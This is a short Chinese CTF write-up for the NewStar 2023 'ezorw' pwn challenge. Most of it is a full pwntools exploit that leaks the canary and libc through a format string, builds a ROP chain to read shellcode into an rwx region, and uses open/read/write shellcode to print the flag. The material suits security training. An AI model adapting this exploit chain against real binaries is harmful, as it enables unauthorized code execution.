newstar2023 week3 - orw rop
文件分析
下载ezorw
, NX on, PIE off, Canary on, RELRO partial
ghidra分析为64位程序
解题思路
程序存在一片区域rwx,并且禁用了system,那么只要将shellcode写到那片区域,
再执行就可以了
那么没有gadgets怎么办?libc里应有尽有,只要知道了libcBase就可以拿到
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context.arch = 'amd64' sh = remote('node4.buuoj.cn', 28119)
sh.sendline(b'%11$p') sh.recvline(b'x\n') canary = int(sh.recvline()[:18], 16)
elf = ELF('ezorw') putsGot = elf.got['puts'] main = elf.symbols['main']
retAddr = 0x4013b2 sh.sendline(b'0'*0x28 + p64(canary) + b'0'*8 + p64(retAddr) + p64(main) + p64(putsGot))
sh.sendlineafter(b'x\n', b'%13$s') putsGotAddr = u64(sh.recvline()[:6] + b'\0\0')
libcBase = putsGotAddr - 0x80ed0 popRsi = libcBase + 0x2be51 popRdxRbx = libcBase + 0x90529 readPlt = elf.plt['read']
sh.sendlineafter(b'now', b'0'*0x28 + p64(canary) + b'0'*8 + p64(popRsi) + p64(0x66660000) + p64(popRdxRbx) + p64(0x100) + p64(0) + p64(readPlt) + p64(0x66660000))
shc = asm(shellcraft.open('./flag') + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100)) sh.sendline(shc)
sh.interactive()
|
Done.